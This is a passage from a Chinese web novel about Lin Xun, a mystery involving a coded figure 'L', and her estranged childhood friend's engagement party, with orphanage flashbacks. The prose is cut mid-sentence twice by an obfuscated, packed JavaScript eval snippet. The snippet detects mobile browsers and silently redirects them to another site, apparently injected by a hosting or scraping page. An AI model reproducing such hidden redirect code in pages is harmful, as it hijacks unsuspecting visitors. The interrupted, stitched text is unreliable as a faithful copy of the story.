屋内三人沉默无言。李华山不知道想起什么,在吼出那句话后,他低着头坐在椅子上陷入沉默,若是仔细看的话,隐藏在裤子下的两条腿还在小幅度颤抖着。后来,无论容季问他什么,他只顾抖着嘴唇,一言不发。 林寻抬脚走到窗户边,站定。她看向楼下。 寂静黑夜,什么都看不见,就像是悬崖峭壁下深不见底的深渊。 无论是林寻还是容季,对于他们来说,都是第一次听见这个“名字”…… 或者更准确来说,算代号。 容季抱着胳膊。他无声盯着被绑住的李华山,像是在判断他刚才的话是事实还是只是他编来试图忽悠他的谎话。良久,他扭头看向站在窗边的林寻的背影,问:“对于这个“L”,你有什么头绪吗?” 林寻没第一时间回答。 她抬手把玻璃窗拉开,凉风扑面而来,她仿佛又回到了在孤儿院的天台仰望天空的那刻。 林寻垂下眸沉思着,然后,低声说:“没有。” 于是容季没再多问什么。 他扭头重新看向李华山:“相机储存卡在哪?” “在我家……”李华山恍若如梦初醒,他抬起头,知道两人不会轻易放过他,声音急切,想抓牢他手里握着的唯一筹码,“我保证明天就拿给你们,然后,然后……我就去自首!” 他觉得自己已经让了一大步了。李华山言辞恳切地继续哀求:“求求你们了,我真的知道做错了。至少给我一个减刑的机会吧,行吗?” 容季盯了他一会儿,无言。半晌,他走到椅子后面松开了绳子。 知道他默认了,李华山又是道谢又是保证。一恢复自由,他迅速打开门,飞也似跑了,紧接着,楼道就响起一连串下楼的脚步声,大约十秒后,才重新安静下来。 “如果发现新的线索可以联系我。”林寻走到容季身边,把容叶的日记本递给他,见他接过,她也走向门口。 日记本找到了,再待在这里毫无意义,她说:“我先走了。” 容季找了个袋子把日记本装上,他抬脚跟在林寻身后:“一起吧。” 林寻没回头,她握着门把手:“嗯。” …… 五天后的清晨,林寻缓慢睁开眼,她躺在床上,一只胳膊搭在额头上,手指微蜷,掌心朝上。 她看着洁白的天花板发了好一会儿呆,才恍惚想起今天好像是林西南和林逐行订婚的日子。 林寻翻了个身,又闭上眼,其实从收到请帖到今天她都没想好到底去不去。昏昏沉沉中,一张稚嫩的脸庞在记忆深处若隐若现…… 夏日炎炎,连吹过来的风都裹挟着热气。 梧桐树上蝉鸣阵阵。林西南穿着红色的小吊带,可爱又有朝气。 林西南站在树底下,她双手握着林寻的肩膀,郑重其事地看着她的眼睛。 “林寻,我以后结婚你给我当伴娘好不好?” 林寻记得,那天是孤儿院教她们语文的老师结婚的日子,上课前,她给每个孩子都带了喜糖,装在喜庆的红色盒子里,里面有水果糖,还有两颗酥糖和巧克力。 糖盒子在讲台上整整齐齐摆了三排。林西南到教室早,女老师看见她,笑着递给她一盒。林西南热情地道了声谢。她拿起最上面那颗,撕开绿色包装袋含在嘴里,清清凉凉,是薄荷味的,她喜欢极了。 身后传来一连串脚步声,鼓点似,急促又密集。林西南转身,正好看见一大堆孩子蜂拥而至。其中一个眼尖,看见讲台上摆了一堆好吃的,立刻兴高采烈奔到老师面前。其余孩子也发现了,宛若多米罗骨牌,瞬间带动连锁反应。 “哇,这里有好吃的!” “老师,给我,我还没拿到!” “老师老师,看这里,我要两盒!” 讲台上一时间人满为患。 “喂!你们就不能排队吗!”林西南被东一下西一下推搡到讲台边缘。她皱起小脸,愤怒地叉腰指责他们这种没素质的行为,眼珠一转,看见林寻被挤到人群最后面,她年纪小身高矮,跟这群孩子比丝毫不占优势。 “……” 林西南把糖倒出来全数往口袋里一塞,二话不说就加入抢糖大军。 终于上完上午的最后一节课,趁着其他人都去食堂吃饭了,林西南把林寻拽到阴凉的树底下,把抢到的最后一盒连带自己兜里没吃的喜糖一股脑塞到林寻手里,她轻声招呼林寻:“快吃。” 林西南又摸了摸,确保糖都拿出来了。 本来她还想把巧克力也给林寻的,但是天气太热,巧克力全融化了,林西南拆开包装看了看,吃不了了,她可惜地连连叹气。 林寻站在她面前,手里捧了一大推糖。她垂着头看了会儿,脑子还有些没反应过来:“都给我吗?” 林寻看了看糖,又去看林西南的眼睛。 她轻轻地摇头:“太多了。我吃不完。” “不是白给你的。”林西南随手抹了把额头上的汗,心里吐槽这天怎么能这么热。她拆开一颗酥糖强行塞到林寻嘴里,见她腮帮子鼓动着咀嚼,她才得意洋洋地说,“有条件的。” “什么条件?”嘴里有东西,林寻声音有点含糊,她看向林西南,眼里有疑问。 “条件就是,你以后要给我当伴娘!” “……” 林寻嘴唇动了动。林西南眼疾手快,赶紧伸手一把捂住她的嘴。 她紧张兮兮地看着林寻:“你不准吐出来!也不准拒绝我!” 林寻:“……” 她挑了三颗酥糖拿出来,剩下的又重新塞进林西南的口袋。她用眼神示意林西南放开手,十分无语:“我没说不答应。” “那你答应我了?”林西南期盼地看着她。 风轻抚过,梧桐树叶哗哗作响,叶子飘飘荡荡掉下来,大部分落在地上,其中一片落在林西南肩膀上,林寻伸手把它拿下来,握在手里。 林寻歪头想了想,蓦地提出了个新的情况:“要是以后我比你先结婚,那怎么办?” 刚才语文老师告诉她们,根据传统习俗,结婚了的人是不能给新娘当伴娘的,不吉利。 “那有什么关系。”林西南倔犟地高高仰起头,“再说了,我又没听见。” 在孤儿院相处了这些时日,林寻也大致把她的性格摸清楚了。林西南行事历来如此张扬,没听见就当不知道,俗话说,无知者无畏嘛,这个道理她执行到堪称完美。 林西南四下看了看,一低头,瞥见林寻手里的梧桐树叶。她拿过来,一锤定音:“就这么说好了。” 阳光透过缝隙落在她头顶,晕出一圈金色光环。 林西南笑了,喜悦跃上眼角眉梢。明媚又灿烂。 她轻轻晃了晃叶子,又把手摊开,梧桐树叶安安静静躺在她手心。 林西南拉过林寻的右手也覆在梧桐树叶上,轻声跟她约定:“这个就当作见证。” …… 林寻闭着眼在床上躺了一会儿。她记得那时候的那片梧桐叶是林西南在保管,不过她应该早丢了。 林寻烦躁地翻了个身。五分钟后,她猛地坐起来。 两边的太阳穴突突一阵跳动。林寻抬手按揉着,等缓和了点,她还是认命地起床去换衣服和洗漱。 就当这是最后一次见面。 林寻边下楼边在心里默默告诉自己。她一直是一个有始有终的人。 到楼下,林寻在手机上叫了个车。 订婚帖的地址显示是在一个五星级酒店。林寻到的时候,订婚宴已经快正式开始了。她一踏入门口,就看到正中央的大屏幕上滚动播放林西南和林逐行订婚的喜讯,红底金字,在LED屏幕上亮得晃眼,极其醒目。 身旁陆续有两三个记者扛着摄像机经过。他们边走边交谈。 “我跟你说,我之前采访过林小姐,就是今天订婚的林氏千金。她长得可漂亮了。听说男方是大学老师,好像刚从国外留学回来。真般配啊。” “何止般配啊,要我说啊,人家那是命好!林氏多富啊,你看这布置,这环境,都是真金白银砸出来的好吧,哎,咱等会儿可得多拍点照片。” “行,你负责全景,我负责拍细节和接吻的特写照。” “ok。” 林寻悄然垂下眸。 注意到不远 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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“106。试试这三个数字!” 三秒后,手机那边传来容季明显松了口气的声音:“打开了。” 林寻随意“嗯”了声。心里却没有多少喜悦。她蹙着眉,盯着立牌上偏右的那处,陷入了深深沉思。 10,6。 容叶日记本的密码,为什么跟“逐行”两个字的笔画不多不少,刚刚好。 侧边突然传来呼喊声,是检查请帖的那个工作人员在叫她。门口只剩下他们两人,订婚宴要开始了,只剩下林寻还没进去。 林寻缓慢转身,抬脚往那个人的方向走。她抿着唇,思绪还没从中抽离。 是巧合吗。 还是…… 工作人员朝林寻微笑点头,示意她的请帖没问题。他转过身,走到门口,帮林寻拉开婚宴的大门。 林寻跟在他后面。 “对了。”这时,容季蓦地出声,打断了她的思路。林寻这才恍然意识到电话一直没挂断。 随着一声轻响,两扇大门分别朝两侧缓缓打开。暖白色的灯光裹挟轻柔浪漫的音乐倾泻而出。头顶上,昂贵的水晶吊灯折射出耀眼的光芒。 林逐行身着修身笔挺的黑色定制西装,成熟又稳重,本就好看的五官在灯光映射下更为俊朗。 他站在台上,正对大门的方向,牵住林西南的手。 台下的宾客见到这幕立刻大声欢呼,夹杂间或两声口哨声,气氛热烈非凡。记者在台下蹲了一排,台上还有一个摄影师拍他们手的细节。摄像机的闪光灯闪烁个不停,都想记录下这珍贵的一幕。 林逐行注意到大门外的林寻,眼睛里明显划过一丝怔愣。他显然没想到她今天居然真的会到场。 与此同时,从林寻耳边的手机里,传来了容季的声音。 他语气异常沉重地吐出六个字:“……” 这个消息传到林寻耳朵里,就像是平地一声滚雷,骤然在她眼前炸裂开来。 林寻瞳孔震惊到剧烈放大。像是没听清,她不可置信地,下意识又问:“你说什么?” “我刚才说。”容季重复了遍,声音低沉,却无比清晰。 “李华山失踪了。” 15. 第15章 林寻举着手机在原地怔了一会儿。旁边的工作人员还在眼巴巴等着她进去之后好关门。无奈,林寻只能往大厅里面走。 大门缓缓合上。她找到位置坐下。 台上的订婚仪式还没结束,林西南穿着雪白礼服,与林逐行并肩而立,两人长相气质都极其优越,一眼看上去的确十分登对。 周围宾客太多,再加上音乐和交谈声,林寻只能简短告诉容季:“等会儿我给你回电话。” 容季说:“好。” 台上林西南和林逐行已经进展到拥吻环节了。从画面展示在大屏幕开始,闪光灯就没停过,宾客们纷纷站起来,大厅里的起哄声一时间热烈到了顶峰。 人群中,林寻身边的氛围与周围的人截然不同。她仍旧纹丝不动坐在座位上,视线被前面站起来的人挡住。 用手腕撑住脑袋,手里无意识轻轻晃荡着酒杯,心不在焉地沉思着,脑海里最开始的疑问仍旧挥之不去。 李华山失踪这回事太过突然,毫无线索和头绪,先暂且摁下不提。那容叶的日记本密码和林逐行的名字笔画一样是怎么回事?真的只是巧合吗? 也不是不能这么解释。但是林寻心里总觉得不对劲。像是有什么地方被她忽略了。 而且仔细想来,如果李华山那天晚上说的话都是真的,那个代号“L”也很有可能是指林逐行的姓。 周围的宾客们三三两两坐下,酒店的服务员排着队,推着小推车给每个桌上菜。林寻微微抿了抿唇,她没动筷子,拿起桌上的手机和包。 叫住一个正好路过的服务员问清楚洗手间的方向。林寻抬脚朝门口走。 离开大厅,就像是离开漩涡中心,气氛逐渐恢复平静。 林寻沿着头顶的指示牌走。酒店布局宛如迷宫,七拐八拐,好几个弯都没到,长廊更是长得一眼望不到尽头。 这种迷茫的感觉林寻潜意识里觉得熟悉。 她记得,那是在林西南被领养后的一周后。 一天下午上完课,林寻穿过走廊去图书室,旁边就是游乐场的空地。三两个孩子聚在秋千旁议论林西南被领养这件事,期间,林寻还能听到她自己的名字,后面隐约跟着“可怜”“单纯”“愚蠢”等字样。 她径直往前走,不理不睬。也不是她不想像以前一样回击,自从被林西南背叛后,林寻那段时间的状态懵懂又混沌,她感觉不到内心的情感波动,自然也没有了喜怒哀乐。 再后来,他们这种背后讲小话的行为在林寻的默认中愈演愈烈,尤其是林阳。 林寻记得,有一天晚上吃完饭,林阳把她拖拽到天台上,那天一直在下雨,天台都是水,很滑。林寻隐约记起林阳冲过来撕扯她的衣服,还没等他继续后面一步,他自己脚一滑先从平台上溜下去了。 林寻当然不可能救他,但她也没趁此机会落井下石。 再后来,她记得林逐行也上来了,接下去发生了什么事呢? 终于找到洗手间,林寻走到洗手台打开水龙头洗了把脸,镜子里,她看见没擦干水珠顺着她的脸颊往下流。她无声跟自己对视着。 就如同隔着一大块磨砂玻璃。在那之后的记忆全部都模糊不清。 她只记得天台那晚之后她迷迷糊糊发了一周高烧。等她再清醒时,从林逐行口中,她大概知道了林阳那晚不小心掉下平台当场毙命,再具体的细节林逐行没说,林寻就没问。 院长和老师对这件事讳莫如深,仿佛在惧怕着什么东西。孤儿院关闭了。 孩子们各自有不同的去处。 林寻和林逐行分别被送往两个不同的福利院。中间隔了一百多公里。但是林逐行只要放假就会去看望她。 对于这事,林寻其实挺好奇他哪里弄来的路费。 她曾经试图问过他。 那时她在孤儿院附近的初中读书,那天是她们七年级期末考试的最后一天。 考完试是下午5点,天空乌云密布,是暴风雨降临的前兆。林寻跟同桌的女生一起走出校门,蓦然听见有人叫她“阿寻”。 林寻穿着校服,双手捏着双肩包垂下来的肩带。她扭过头。街对面,林逐行神情柔和,他胳膊里抱着一只巨大的棕色玩偶熊。 林寻停下脚步。她身旁的同桌眼珠来回转,一会儿看林逐行,一会儿看林寻。 “送给你的重逢礼物。”林逐行走到林寻面前,把熊塞到林寻手里,笑着问她,“最近过得好吗?” 没等林寻回应,她身旁的同桌先有了动作。也许是出于羞涩,她闪身躲到林寻身后,眼睛里惊艳一闪而过。 双手把住林寻的肩膀,她垫脚凑到林寻耳朵边,小声问她:“这是你男朋友吗?” 林寻轻轻摇头:“我哥。” 十三岁正是情窦初开的年纪。这个年纪的女孩对感情懵懂又好奇,夹杂着向往。 看到她爸爸的车停在路边等她,来不及多说太多,在跟林寻道别前,同桌飞快地凑到她耳边说了句话,红着脸跑走了。 天色渐晚,人如潮水。校门口放学的晚高峰来得快去得也快,眨眼间走得只剩下零零星星四五个学生和还在等自家孩子的家长。 林寻率先抬脚朝前。她走了两步,扭头,发现林逐行仍然停留在原地没动。奇怪:“不走吗?” “走吧。”车驶过路口,看不见了。林逐行收回视线,他缓慢走到林寻身旁,仿若不经意间问,“刚才那个女生跟你说了什么吗?” “我没听清楚。”林寻四下看了看,发现一家面馆没什么人。她把林逐行朝那个方向带。 她确实没听清,只隐约听见是关于“联系方式”还是什么的。 林寻对情感方面不敏感,甚至是有些迟钝的。她误以为自己听错了。 “吃面可以吗?” “听你的就行。” 林寻选了个最角落的位置,她把玩偶放在旁边的凳子上,去要了两碗细粉。等面的时候,她问林逐行:“过来一趟这么远,你从哪里弄来的钱,还给我买这么大的熊。” “阿寻你在关心我吗。”林逐行温柔地注视着她,一副心情很好的样子。 林寻看着他,嘴唇动了动。没等她说话,后面老板大声嚷了句“面好了”,林寻起身去端。 她没看到,在她身后,林逐行注视着她的背影,轻声呢喃着:“若是阿寻身边永远只有我一个人就好了。” 他看向对面椅子上端坐着的玩具熊,它的琉璃眼珠在暖黄灯光的映照下漆黑无比。林逐行无声弯唇笑了。 那次见面之后,林寻迎来了她初 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15315029|166910||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中的第一个寒假。林逐行大她五岁,也许是学业繁忙,他很久都没再出现。 寒假结束,再开学时,一切都跟上学期没什么不同,唯一的区别是,林寻上学期的同桌突然跟老师申请说想换个位置。林寻没多想,甚至主动去帮她搬书本,女生却不着痕迹地避开了她的手。 她悄无声息避开了林寻的视线,眼里藏着疏离和畏惧。 这恶劣的情况如病毒般,很快蔓延至整个班级。 初中三年,任何活动——运动会,春游,秋游,林寻都是独自一人度过的。随着时间的流逝,她变得越来越沉默寡言,也愈发内向孤僻。 …… 林寻走出洗手间往酒店大门的方向走。她从包里拿出手机,本来想跟容季回个电话,刚点开最近通话,一转弯,跟林西南迎面对上眼。林寻明显怔了一下,林西南却没表现出任何意外。她仍旧穿着礼服,脸上画着精致的妆容。 林西南斜倚在长廊的墙壁上,看见林寻停住不动。她直起身,朝林寻的方向走,语气听不出情绪:“你还是来了。” “你特地约我见面给我请帖,不就是想让我来吗。”林寻把手机熄屏放下,没有要跟林西南多说的意思。她垂下眼不再看她,目不斜视。 擦肩而过时,林西南低着头一言不发。林寻越过她走了两步。她手指微微蜷缩,抿紧唇,终究还是停住。 林寻小幅度偏过头,视线落在长廊上欧洲风格的壁画上。她轻声询问,语气里带了些连她自己都没察觉到的希冀:“那片梧桐树叶,你还留着吗?” 这话问得没头没尾的,但是林西南只用了一秒就听懂了。她转过身,黑亮的眼睛里倒映出林寻单薄的背影。 “呵。” 林西南蓦地发出一声轻笑。 “我感觉,你好像误会了些事情。”她抬脚款款走到林寻面前,紧盯住林寻的眼睛,尾音上扬着,一如往常她张扬的性格。 “我给你请帖的目的,你没懂,对吗。” 林寻偏过头去,没回答。她不想在她的订婚宴上跟她起冲突。 可惜林西南并没有要轻易放过她的意思。 她弯腰凑近,眉毛上挑,夸张又刻意。伸出左手纤长的食指,缓缓挑起林寻的下巴,语气刻薄到了滑稽的地步:“林寻,小时候的事,再加上最近的两次见面,我这么对你,你竟然都不讨厌……” “或者说,憎恨我吗?”林西南捏住林寻的下巴尖左右摇晃两下,孩童般天真的语气,传到林寻耳朵里,却无比残忍。 “那你就是活该哦。” 活该别人这么对待你。 林西南松开林寻的下巴,她后退了两步,转过身,丝毫不在乎林寻怔然的反应。 最后扔下一句话,像是一道重锤,狠狠砸在林寻脸上:“我让你来,是让你亲眼看到林逐行是怎样归属于我的。我既然跟你说过离他远点,你就得懂得如何做。” “……” “不出意外的话,这应该是我们最后一次见面。”走到转角处,林西南停住。 “我们都长大了。”她背朝着林寻,雪白的裙摆在空气中轻轻晃动,身形看起来纤细到了有些瘦弱的程度。 “所以。”她微仰着头,似劝告似提醒,“别滞留在过去了,林寻。”